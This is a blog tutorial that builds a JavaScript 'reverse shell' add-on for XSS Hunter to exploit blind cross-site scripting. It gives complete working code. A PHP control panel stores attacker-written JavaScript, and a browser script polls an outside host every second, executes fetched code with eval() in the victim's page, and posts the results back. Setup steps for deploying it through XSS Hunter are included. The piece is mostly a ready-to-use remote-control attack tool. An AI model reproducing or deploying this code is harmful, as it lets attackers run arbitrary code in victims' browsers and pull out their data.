Upgrading XSS Hunter with a basic reverse JavaScript shell

preface

Before you start reading this article, please keep in mind that this is a very basic reverse shell, and still needs a lot of work to get the most out of it. A few of the limitations are:

- Errors could occur if more the payload is active on multiple pages. The payload gets executed on all pages where it's active, but the multiple pages could be distinct from each other, and when they all send back their response, only one of them is saved by the interface.
- The reverse shell interface is made to be placed on a webserver, which means that everyone can find it when you don't have proper authorization in place. That also means that an adversary can find it and use it with bad intentions.

What is a reverse shell?

When an attacker successfully exploits a remote code execution vulnerability, he can use a reverse shell to obtain an interactive shell session. The reverse shell is a session that's established between a remote host and the exploiter's machine [1].

What is XSS Hunter?

XSS Hunter is a service that hosts a payload for you, which when triggered scans the page and sends information about it back to your XSS Hunter account. This is especially useful for blind XSS attacks because you get notified once they trigger, and you will immediately receive some information about it [2].

Setup

Recently I have found my first blind XSS, and I quickly noticed that it's hard to figure out what's possible with your blind XSS and what impact it can have. To figure this out, I tried several payloads, but felt the need to execute payloads in real time. Because of that, I came up with the idea to make something based on the idea of a reverse shell, that I can use as soon as I receive an email from XSS Hunter to notify me the XSS has been triggered. The only problem is that the reverse shell would only work if the victim stays on the vulnerable page. Once he goes to another page or closes the page, the connection will be lost.

This reverse shell isn't the best solution, but it's helpful for beginners to experiment with it. And it was a fun little project for me to make.

To start the project, I opened notepad and started writing down how I wanted the shell to function.

```
Interface
============================
textarea to fill in payload
save button -> write the payload to a javascript file
render the response of the payload


Code ran on victim's browser
============================
-javascript file that loads payload every (half?) second
-check if content of payload is same as last, if not execute it
-send back the response of the payload to the interface
```

Figure 1: notes that describe the tool

Creating the shell

Part 1: Limited reverse shell without response

I started by creating something that sends the payload to the victim but does not yet send the response back to the interface. The code is pretty simple, there is a form on the page which on submit, sends a post request to itself (index.php). The PHP on the page will write the payload that's in the post request to a JavaScript file. The interface code looks like this:

```php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JavaScript reverse shell</title>
</head>
<body>
<h1>JavaScript reverse shell</h1>
    <form method="POST" action="interface.php">
        <textarea name="payload"></textarea>
        <input type="submit" value="execute"/>
    </form>
</body>
</html>

<?php
    if( $_POST["payload"]) {
        $payload = 'payload.js';
        file_put_contents($payload, $_POST["payload"]);
    }
?>
```

Figure 2: interface.php part 1

Now it's time to write the JavaScript that will be ran in the victim's browser. As you've seen in my notes, I'm not sure what interval should be used to make the network request, but I think 1 second is good to start, but feel free to change this if you want it to be faster or slower. The code of the reverse shell looks like this.

```javascript
var http = new XMLHttpRequest();
var payloadURL = "https://grumpinout.be/reverseshell/payload.js";
var prevPayload;
setInterval(function(){
    http.open("POST", payloadURL, true);
    http.setRequestHeader("Content-type", "text/plain");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && XMLHttpRequest.DONE) {
            var payload = http.responseText;
            if (payload !== prevPayload) {
                eval(http.responseText);
                prevPayload = payload;
            }
        }
    }
    http.send(null);
}, 1000);
```

Figure 3: reverse.js part 1

The payloadURL variable should be changed to the location of your own payload script. If you've copied my code, payload.js is located in the same folder as where your interface.php is located.

Part 2: Reverse shell with response

In my code, once the server receives the response, it writes it to a file. 2 seconds after the execute button is clicked, the response will be read from the file, and reflected on the page. This is probably not the best way to do it, but it works fine if the internet speed of your victim is decent, and if your payload does not take a lot of time to execute. If you experience problems, you could always higher the sleep count in interface.php.

To start, I edited reverse.js so that it would send the response in a POST request to interface.php. Response.js now looks like this:

```
var http = new XMLHttpRequest();
var payloadURL = "https://grumpinout.be/reverseshell/payload.js";
var interfaceURL = "https://grumpinout.be/reverseshell/interface.php";
var prevPayload;
var response;
setInterval(function(){
    http.open("POST", payloadURL, true);
    http.setRequestHeader("Content-type", "text/plain");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && XMLHttpRequest.DONE) {
            var payload = http.responseText;
            if (payload !== prevPayload) {
                response = eval(http.responseText);
                sendResponse();
                prevPayload = payload;
            }
        }
    }
    http.send(null);
}, 1000);

function sendResponse() {
    http.open("POST", interfaceURL, true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    response ? null : response = "undefinded";
    http.send("response=response:"+ response);
}
```

Figure 4: reverse.js part 2

Again, change the value of interfaceURL to the URL of your own interface. I also added a check to set the response to "undefined" if it's not defined, because otherwise the interface would keep displaying the old response when executing payloads without response.

Now the response should be handled in interface.php. As mentioned earlier, the response is written to a file, and reflected 2 seconds after execute is clicked. The code for interface.php now looks like this:

```php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JavaScript reverse shell</title>
</head>
<body>
<h1>JavaScript reverse shell</h1>
    <form method="POST" action="interface.php">
        <textarea name="payload"></textarea>
        <input type="submit" value="execute"/>
    </form>
</body>
</html>

<?php
    if( $_POST["payload"]) {
        $payload = 'payload.js';
        $response = 'response.txt';
        file_put_contents($payload, $_POST["payload"]);
        sleep(2);
        $output = file_get_contents($response);
        echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
    }
    if( $_POST["response"]) {
        $file = 'response.txt';
        file_put_contents($file, $_POST["response"]);
    }
?>
```

Figure 5: interface.php part 2

As a good practice, I used the php function htmlspecialchars() to prevent reflected XSS on the webpage.

Setting up the shell with XSS Hunter

First of all, you need to make sure interface.php and reverse.js are accessible by the internet. To do this, I used a hosting service, but you could also host it by yourself and setup port forwarding.

When that's done, you need to link the reverse.js to your XSS Hunter so it would be executed in a victim's browser once the blind XSS is triggered. To do that, login to XSS Hunter and go to settings and under additional JavaScript payload URI, add the URI to your reverse.js script. Finally, scroll to the bottom and click the Update Settings button.

Believe it or not, but that's actually it, everything is done at this point, and you're ready to test it out.

Testing the shell

1. Create a simple html file that contains the URL to your XSS Hunter payload (example: username.xss.ht). And open that file.

2. Open your interface.php file on your public webserver. and enter alert() to see it trigger on your html test page. The response will be undefined.
3. Enter 2+2 and notice the response will be 4.

Congrats! Thats it, you got yourself a very simple JavaScript reverse shell :).

Feel free to modify your code to make improvements!

Sources

[1] Z. Banach, „Understanding Reverse Shells,” [Online]. Available: https://www.netsparker.com/blog/web-security/understanding-reverse-shells. [Opend Thursday May 2021].

[2] M. Bryant, „What is XSS Hunter?,” [Online]. Available: https://xsshunter.com/features. [Opend Thursday May 2021].